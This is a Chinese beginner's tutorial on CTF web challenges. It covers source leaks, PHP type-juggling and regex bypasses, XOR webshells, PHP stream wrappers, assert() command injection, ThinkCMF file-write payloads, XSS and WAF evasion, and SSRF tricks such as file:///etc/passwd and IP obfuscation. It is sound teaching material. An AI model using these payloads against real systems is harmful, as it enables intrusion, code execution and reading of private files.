ctf web总结(CTF中Web题目的各种基础的思路—–入门篇十分的详细)
我期间也考察很多人的 ,但搞这个的确实有点少 ,希望这篇可以大家一点帮助,这篇文章也借鉴一些人的文章 ,还有很多东西 ,我没搞 ,确实有点麻烦 ,但以后还会不断更新的 ,希望大家在web这里少走一点弯路 ,还有一些东西我不知道该怎么写 ,但大家以后肯定会接触的 。
这里给大家一些关于CTF的一些平台
新手:
ctfshow 这个吧 ,还是推荐富哥吧 ,里面有web入门的题目但是要钱,总体还是不错的 。
CTFHub 这个里面题目或许不是很多 ,但是那个技能树真的可以给大家一个方向 ,主要推荐那个技能树
PwnTheBox这个对于新手也是十分好的,适合新手刷题 ,大部分题目都直接有wp ,而且靶机随便关随便开真的好,额 ,但是吧就是说是不是网站崩了 ,可能是创作者在国外的缘故吧。有些经验的:BUUCTF题目很多 ,而且有很多比赛
攻防世界和BUUCTF差不多 ,但是感觉吧比buu要难
NSSCTF 新平台很不错 ,有很多新题目
目录
基础知识类题目
查看网页源代码
发送HTTP请求
不常见类型的请求发送
HTTP头相关的题目
查看响应头
修改请求头 、伪造Cookie
备份文件下载
Git源码泄露
svn源码泄露
HG泄露
文件上传和sql注入关于这两个要搞得实在有点多 ,我就搞个文件 ,要用搞得都在文件中 ,放在百度网盘中了链接:文件上传的注意点及绕过&sql注入的一些东西提取码:1234
Js代码
Python爬虫信息处理
PHP代码审计
PHP弱类型hash比较
数组返回NULL绕过
字符串绕过
科学计数法绕过
变量覆盖漏洞
正则表达式相关
ereg正则%00截断
数组绕过
单引号绕过preg_match()正则匹配
不含数字与字母的WebShell
php使用短链接
php读取文件
伪协议
ThinkCMF2.2.x,1.6.0,2.1.0漏洞
命令执行漏洞
assert()函数引起的命令执行
XSS题目
绕过waf
长度限制
双写
等价替代
URL编码绕过
Linux命令使用反斜杠绕过
URL二次解码绕过
数组绕过
SQL注入
使用sqlmap
python 模板注入
ssrf
基础知识类题目
考察基本的查看网页源代码 、HTTP请求、修改页面元素等 。
实际做题的时候基本都是和其他更复杂的知识结合起来出现 。
还有要记住一些=0的试试可以改成1 ,因为0是false,1是ture
姿势:恶补基础知识就行
查看网页源代码
按F12就都看到了 ,flag一般都在注释里 ,有时候注释里也会有一条hint或者是对解题有用的信息 。
Bugku web2 Bugku web3发送HTTP请求
可以用hackbar,有的也可以写脚本 。
Bugku web基础$_GET Bugku web基础$_POST Bugku 点击一百万次举个写脚本的例子(题目是Bugku web基础$_POST):
import requests r = requests.post(http://123.206.87.240:8002/post/, data={what : flag}) print(r.text)不常见类型的请求发送
以前做过一道题考OPTIONS请求
不过如果要发送这类请求 ,写一个脚本应该就能解决了 。
可以使用burpsuite ,给请求方式,列如:请求方式那一题需要把GET方式改成CTFHUB ,可以用burpsuite改 ,可以使用curl -X CTFHUB 网址
CTFHub 技能树 请求方式HTTP头相关的题目
主要是查看和修改HTTP头 。
目前做过的Web题目有很大一部分都是与HTTP头相关的 ,而且这种题目也相当常见 ,不和其他知识结合的情况下也算是属于基础题的范畴吧 。
姿势:不同的类型有不同的利用方法 ,基本都离不开抓包改包 ,有些简单的也可以利用浏览器F12的网络标签解决 。但是最根本的应对策略 ,是熟悉一些常见请求头的格式 、作用等 ,这样题目考到的时候就很容易知道要怎样做了 。
查看响应头
有时候响应头里会有hint或者题目的关键信息 ,也有的时候会直接把flag放在响应头里给你,但是直接查看响应头拿flag的题目并不多 ,因为太简单了。
只是查看的话 ,可以不用抓包,用F12的“网络 ”标签就可以解决了 。
Bugku 头等舱修改请求头 、伪造Cookie
常见的有set-cookie 、XFF和Referer ,总之考法很灵活 ,做法比较固定,知道一些常见的请求头再根据题目随机应变就没问题了 。
有些题目还需要伪造Cookie ,根据题目要求做就行了。
可以用BurpSuite抓包 ,也可以直接在浏览器的F12“网络 ”标签里改 ,同样也有一些可以通过
实验吧 头有点大 Bugku 程序员本地网站 Bugku 管理员系统 XCTF xff_referer备份文件下载
通常是index.php.swp 、.index.php.swp 、www.zip 、robots.txt之类的
注意看不出来是什么可以放到kali里面试试 ,例如:vim的缓存文件用vim -r 可以恢复 ,.DS_Store文件可以用cat命令看看有没有什么文件 ,好像也有脚本可以修复Git源码泄露
flag一般在源码的某个文件里 ,但也有和其他知识结合 、需要进一步利用的情况 ,比如XCTF社区的mfw这道题 。
可以使用dirsearch先扫出来.git
再用Githack, cd Githack
python2 Githack.py 网址/.gitgit log那个文件看起来可能是flag ,看看他的commit的后面的一串字符串使用
使用:git diff 那一串字符串,如果没有尝试git stash list看看有没有文件,有的话试试git stash apply或者git stash pop可以看http://t.zoukankan.com/songwufan-p-13866101.html
姿势:GitHack一把梭 注:GitHack需要自己下
XCTF mfwsvn源码泄露
flag一般在某个文件中
可以使用dirsearch扫出来.svn
用dvcs-ripper(需要自己下载) ,cd dvcs-ripper
./rip-svn.pl -u 网址/.svn
因为.svn是隐藏文件夹 ,要用ls -al看,找到.svn/pristine/df或bf用cat查看文件可以看https://blog.csdn.net/SinAlone/article/details/118480556
HG泄露
和svn泄露差不多
也是使用dvcs-ripper
用./rip-hg.pl -u 网址/.hg文件上传和sql注入关于这两个要搞得实在有点多 ,我就搞个文件 ,要用搞得都在文件中,放在百度网盘中了
链接:文件上传的注意点及绕过&sql注入的一些东西
提取码:1234Js代码
PwnTheBox 2048通常是找main的js脚本 ,查找game找到结束的函数就可以了
F12选择Network(网络)刷新一下
看到了main2048.js应该这就是main
点一下搜索game看到了表情包 ,这个应该是js代码
Python爬虫信息处理
这类题目一般都是给一个页面 ,页面中有算式或者是一些数字 ,要求在很短的时间内求出结果并提交 ,如果结果正确就可以返回flag 。
因为所给时间一般都很短而且计算比较复杂 ,所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库(或者re库(正则表达式)) ,个人感觉使用BeautifulSoup简单一些 。
姿势:requests库和BeautifulSoup库熟练掌握后 ,再多做几道题或者写几个爬虫的项目 ,一般这类题目就没有什么问题了 。主要还是对BeautifulSoup的熟练掌握,另外还需要一点点web前端(HTML)的知识 。
Bugku 秋名山老司机 #这道题的脚本如下 ,还可以继续优化#经常出现执行了但是不弹flag的情况 ,多试几次就行了import requests import re s = requests.Session() url=https://1933-591a9bbb-fca2-46c6-a6d8-52b5970cc01a.do-not-trust.hacking.run/ #把网址定义给url参数 r=s.get(url) #以get的方式,去访问 r.encoding = utf-8 #可有可无吧 ,定义编码形式为utf-8 ,一些题是必须,加一个以防万一 a=r.text #把那个页面定义给a#print(a) n = re.findall(r\d(.*?)=,a)[0] #利用re正则 ,把算式匹配出来 o = s.post(url,data={value:n}) #提交结果print (o.text) #输出返回结果 实验吧 速度爆破HGAME2019的部分题目似乎还出现了反爬虫措施 。
PHP代码审计
代码审计覆盖面特别广 ,分类也很多 ,而且几乎什么样的比赛都会有 ,算是比较重要的题目类型之一吧 。
姿势:具体问题具体分析 ,归根结底还是要熟练掌握PHP这门语言 ,了解一些常见的会造成漏洞的函数及利用方法等 。
PHP弱类型hash比较
这是代码审计最基础的题目了 ,也比较常见 。
典型代码:
if(md5($a) == md5($b)) { //注意两个等号“==” echo $flag; }加密函数也有可能是sha1或者其他的 ,但是原理都是不变的 。
这个漏洞的原理如下:
== 在进行比较的时候 ,会先将两边的变量类型转化成相同的,再进行比较 。
0e在比较的时候会将其视作为科学计数法 ,所以无论0e后面是什么 ,0的多少次方还是0。所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以 。
以下是一些md5加密后开头为0e的字符串:
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 aabg7XSs还有一个十分特殊的字符串
0e215962017它MD5以后还0e开头还有一个字符串使用另个一个地方和sql有关ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c 转成字符串为or6�]��!r,��b
可以利用这个越过一些登入数组返回NULL绕过
PHP绝大多数函数无法处理数组,向md5函数传入数组类型的参数会使md5()函数返回NULL(转换后为False) ,进而绕过某些限制 。
如果上面的代码变成:
if(md5($a) === md5($b)) { //两个等号变成三个 echo $flag; }那么利用弱类型hash比较缺陷将无法绕过 ,这时可以使用数组绕过。
传入?a[]=1&b[]=2就可以成功绕过判断 。
这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断 ,可以根据具体情况来灵活运用 。
字符串绕过
举例
if(isset($_POST[passwd])) { $passwd=$_POST[passwd]; if (!is_numeric($passwd)) { if($passwd==123456) { echo 1; hiaglight_file(flag.php); } else { echo "2"; } } else{ echo "3"; }如果检查passwd传进来的值是只是数字或字母 ,就输出3 ,是字符串则进入下一个 ,又因为passwd要等于123456 ,但是两个等号是弱比较 ,所以传进去123456a就行了
科学计数法绕过
遇到这种(strlen($_GET[password]) < 8 && $_GET[password] > 9999999)类似的
可以用1e9之类的来绕过这是用科学计数法来搞变量覆盖漏洞
extract()函数存在变量覆盖漏洞
遇到这种
可以直接用?shiyan=&flag=得到flag正则表达式相关
ereg正则%00截断
ereg函数存在NULL截断漏洞 ,使用NULL可以截断过滤 ,所以可以使用%00截断正则匹配。
Bugku ereg正则%00截断数组绕过
正则表达式相关的函数也可以使用数组绕过过滤 ,绕过方法详见数组返回NULL绕过 。
上面那道题也可以用数组绕过 。
单引号绕过preg_match()正则匹配
在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明 。
例如有如下代码:
<?php $p = $_GET[p]; if (preg_match(/[0-9a-zA-Z]{2}/,$p) === 1) { echo False; } else { $pp = trim(base64_decode($p)); if ($pp === flag.php) { echo success; } } ?>payload:p=ZmxhZy5waHA=
不含数字与字母的WebShell
如果题目使用preg_match()过滤掉了所有的数字和字母 ,但是没有过滤PHP的变量符号$ ,可以考虑使用这种方法 。
典型代码:
<?php includeflag.php; if(isset($_GET[code])){ $code=$_GET[code]; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>这种方法的核心是字符串的异或操作 。
爆破脚本:
chr1 = [@, !, ", #, $, %, &, \, (, ), *, +, ,, -, ., /, :, ;, <, =, >, ?, [, \\, ], ^, _, `, {, |, }, ~] chr2 = [@, !, ", #, $, %, &, \, (, ), *, +, ,, -, ., /, :, ;, <, =, >, ?, [, \\, ], ^, _, `, {, |, }, ~] for i in chr1 : for j in chr2 : print(i + xor + j + = + (chr(ord(i) ^ ord(j))))根据题目的要求,用异或出来的字符串拼出合适的Payload ,并放在PHP变量中执行 。变量名可以用中文 。
php使用短链接
题目使用preg_match()过滤掉了所有的数字和字母 ,过滤了PHP的变量符号$,可以考虑使用这种方法 。
示例代码: <?php if(isset($_GET[code])){ $code = $_GET[code]; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)){ die("NO."); } eval($code);}else{ highlight_file(__FILE__);} ?>必须是linux环境,因为要靠通配符
*可以代替0个及以上任意字符
?可以代表1个任意字符列如:/tmp/php就可以表示为/*/???或/???/???
可以详细了解一下:php短链接
因为还可以使用[^X]之类的 CTFhub hate_phpphp读取文件
var_dump(scandir(chr(47))) = system(ls /)
scandir是列出目录中的文件和目录file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103)) = system(cat /f1ag)
file_get_contents() 把整个文件读入一个字符串中伪协议
读取文件
PHP://filter/read=convert.base64-encode/resource=文件执行php代码
使用php://input 它要在POST传数据
列如:?file=php://input
POST传<?php system("ls /");?> ,则就执行了ls /data协议
列如:((file_get_contents($text,r)==="welcome to the zjctf")
可以用data协议写入那一串字符串
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=ThinkCMF2.2.x,1.6.0,2.1.0漏洞
payload1:?a=fetch&templateFile=public/index&prefix=&content=<php>file_put_contents(test.php,<?php phpinfo(); ?>)</php> 任意文件写入
payload2: ?a=display&templateFile=README.md 任意文件读取
看看https://www.yuque.com/u390550/hsy6gq/xggm0c
命令执行漏洞
assert()函数引起的命令执行
assert函数的参数为字符串时 ,会将字符串当做PHP命令来执行 。
例如:assert(phpinfo())相当于执行<?php phpinfo() ?>
以一道题目为例:
本题目中题目文件夹下放置了一个隐藏的flag文件。
<?php error_reporting(0); if (isset($_GET[file])) { if($_GET[file] === "flag"){ highlight_file("flag.php"); }else{ $page = $_GET[file]; } } else { $page = "./flag.php"; } assert("file_exists($page)"); ?>解法:
构造闭合 file_exists()函数 ,并使assert()执行恶意代码 。
Linux命令ls -a可用于查看该目录下所有文件 ,包括隐藏文件 。
payload:
?file=123) or system(ls -a);# ?file=123) or system(cat .ffll44gg);#XSS题目
这类题目会涉及到三种XSS类型 ,具体类型要根据题目来判断。一般都是向后台发送一个带有XSS Payload的文本 ,在返回的Cookie中含有flag ,解法是在XSS Payload 。
这类题目一般都会带有过滤和各种限制 ,需要了解一些常用的绕过方法 。
姿势:XSS归根结底还是JavaScript ,JavaScript的威力有多大,XSS的威力就有多大。要知道一些常用的XSS Payload ,还要把三类XSS的原理弄明白 。做题时需要用到XSS平台 ,网上有公用的,也可以自己在VPS上搭一个 。
这里可以给大家推荐一个XSS平台
JavisOJ babyxss绕过waf
其实绝大多数比较难的题目多多少都会对输入有过滤 ,毕竟在现实的网络中肯定是会对输入进行限制的 ,但是这里还是把过滤单独列出来了 。
一些限制只能是数字,不能输入字母的可以尝试添加空格 ,例如:?num=a(不行) 换成 ? num=a(可以)
适用于php ,因为php会先处理空格 ,就绕过了waf姿势:多掌握一些不同的绕过方法 。
长度限制
有些题目会要求输入较长的文本 ,但对文本的长度进行了限制 。
对于这种题目 ,既可以用BurpSuite抓包改包绕过 ,也可以直接在F12里改页面源代码 。
Bugku 计算器(修改页面源代码) DVWA 存储型XSS的标题栏会对长度进行限制 ,使用BurpSuite抓包绕过 。双写
双写可以绕过对输入内容过滤的单次判断 ,在XSS 、SQL注入和PHP代码审计的题目中比较常见 。
双写顾名思义就是将被过滤的关键字符写两遍 ,比如,如果要添加XSS Payload ,又需要插入<script>标签 ,就可以构造如下的Payload:<scr<script>ipt>来绕过对<script>标签的单次过滤限制 。
这样的方法不仅对XSS有用,也可以用于代码审计和SQL注入。
HGAME2019有一道XSS题目就是过滤了<script> ,可以用双写绕过 。
等价替代
就是不用被过滤的字符 ,而使用没有被过滤却会产生相同效果的字符 。
比如,如果SQL注入题目中过滤了空格 ,可以用/**/绕过对空格的限制;XSS题目如果过滤了
php空格被过滤了 ,可以使用$IFS$1之类的代替 实验吧 简单的SQL注入URL编码绕过
如果过滤了某个必须要用的字符串 ,输入的内容是以GET方式获取的(也就是直接在地址栏中输入) ,可以采用url编码绕过的方式 。比如 ,过滤了 cat ,可以使用 c%61t来绕过 。
Linux命令使用反斜杠绕过
在Linux下 ,命令中加入反斜杠与原命令完全等价。例如,cat与 ca\t两条命令等价 ,效果完全相同 。
可以利用这个特性来进行一些绕过操作(当然 ,这个仅限于命令执行漏洞) 。
URL二次解码绕过
这个类型本来应该放在代码审计里面,但是既然是一种绕过过滤的姿势 ,就写在这里了 。
如果源码中出现了urldecode()函数 ,可以利用url二次解码来绕过 。
以下是一些常用的HTML URL编码:
ASCII Value URL-encode ASCII Value URL-encode ASCII Value URL-encode æ %00 0 %30 ` %60 %01 1 %31 a %61 %02 2 %32 b %62 %03 3 %33 c %63 %04 4 %34 d %64 %05 5 %35 e %65 %06 6 %36 f %66 %07 7 %37 g %67 backspace %08 8 %38 h %68 tab %09 9 %39 i %69 linefeed %0a : %3a j %6a %0b ; %3b k %6b %0c < %3c l %6c c return %0d = %3d m %6d %0e > %3e n %6e %0f ? %3f o %6f %10 @ %40 p %70 %11 A %41 q %71 %12 B %42 r %72 %13 C %43 s %73 %14 D %44 t %74 %15 E %45 u %75 %16 F %46 v %76 %17 G %47 w %77 %18 H %48 x %78 %19 I %49 y %79 %1a J %4a z %7a %1b K %4b { %7b %1c L %4c | %7c %1d M %4d } %7d %1e N %4e ~ %7e %1f O %4f %7f space %20 P %50 € %80 ! %21 Q %51 %81 " %22 R %52 ‚ %82 # %23 S %53 ƒ %83 $ %24 T %54 „ %84 % %25 U %55 … %85 & %26 V %56 † %86 %27 W %57 ‡ %87 ( %28 X %58 ˆ %88 ) %29 Y %59 ‰ %89 * %2a Z %5a Š %8a + %2b [ %5b ‹ %8b , %2c \ %5c Œ %8c - %2d ] %5d %8d . %2e %5e Ž %8e / %2f _ %5f %8f Bugku urldecode二次编码绕过数组绕过
详见PHP代码审计的“数组返回NULL ”绕过 。
数组绕过的应用很广,很多题目都可以用数组绕过 。
SQL注入
SQL注入是一种灵活而复杂的攻击方式 ,归根结底还是考察对SQL语言的了解和根据输入不同数据网页的反应对后台语句的判断 ,当然也有sqlmap这样的自动化工具可以使用 。
姿势:如果不用sqlmap或者是用不了 ,就一定要把SQL语言弄明白 ,sqlmap这样的自动化工具也可以使用 。
使用sqlmap
sqlmap的应用范围还不大明确 ,我都是如果sqlmap没法注入就手工注入 。
我写的一篇简单的sqlmap教程:https://www.jianshu.com/p/4509bdf5e3d0
python 模板注入
攻防世界 Web_python_template_injection
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。 思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块 。几个魔术方法 可以了解一下class
返回类型所属的对象
mro返回一个包含对象所继承的基类元组 ,方法在解析时按照元组的顺序解析 。
base返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
subclasses每个新类都保留了子类的引用 ,这个方法返回一个类中仍然可用的的引用的列表
init类的初始化方法
globals 对包含函数全局变量的字典的引用SSRF
使用到的协议file 、dict、gopher协议
file协议使用:file:///etc/passwd (读取文件)
dict协议使用: dict://serverip:port//命令:参数
gopher协议使用:gopher://IP:port/_TCP/IP (列如:gopher://127.0.0.1:80/_POST)gopher协议发送post请求:
与get传参区别为:post有四个必要参数Content-Type ,Content-Length ,host,post的参数注:其中Content-Length 要与post的长度相同
关于gopher协议给大家推荐一个工具 Gopherus-master
参考题目:CTFhub 技能树 ssrf POST请求防护绕过
使用正则表达式的方式对SSRF中的请求地址进行过滤 ,具体表现如下:
1.限制请求特定域名;
2. 禁止请求内网IP。
然而这两种过滤都很容易被绕过 ,可用的方法具体如下:1)使用http://example.com@evil.com (可针对限制了网址的题)
简单说的话,@表示如果这个被执行 , ,就扔掉前面了,相当于访问evil.com2)IP地址转化为进制(八进制 ,十进制 ,十六进制)及 IP 地址省略写法 ,举例说明如下:
1. 0177.0.0.1 (八进制)
2. 2130706433 (十进制)
3. 0x7f.0x0.0x0.0x1 (十六进制)
4. 127.1 (IP地址省略写法)3)特殊模式绕过
1. http://127.1/flag.php
2. http://0/flag.php
3. http://127.00000000.00.1/flag.php4)0.0.0.0 &127.127.127.127绕过
1. http://127.27.127.127/flag.php
2. http://0.0.0.0/flag.php5)配置域名 。如果我们手中有可控域名 ,则可以将域名A记录指向欲请求的 IP 进行绕过操作:evil.example.com => 10.0.18.3
6) 利用[::] .
http://[::]:80/ =>http://127.0.0.1DNS重绑定可以使用:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg
工具
新手推荐使用burpsuite和Hackber
这两个应该是你们接触的十分多的两个工具
burpsuite的下载包放在这里大家自己使用百度网盘下载领取
链接: https://pan.baidu.com/s/1LTzCR2ShkaWHBhcB0WPwQw?pwd=4567 提取码: 4567
注:使用burpsuite需要下载java
我还给大家附带了burpsuite的证书 ,不然有些网站的包就抓不了 ,还会让自己变得很麻烦
证书的使用方法这里给大家讲一下
首先使用代理127.0.0.10:8080 ,先打开burpsuite ,设置代理 ,然后访问http://burp,点击右上角下载然后就可以获得自己的证书
点开将证书导入进去
至于burpsuite的使用方法就别问我了 。。 。 。 。 。 。
现在是HackBer
为什么推荐Hackber,新手都有一个问题就是对于GET和POST的方法不怎么会使用
Hackber不仅可以更方便的使用 ,还有很多我们常用的加密方式 ,还能直接对包进行修改
这里推荐大家使用火狐浏览器,因为他的插件里面就有Hackber可以直接下载
这里推荐使用第二个
创心域SEO版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!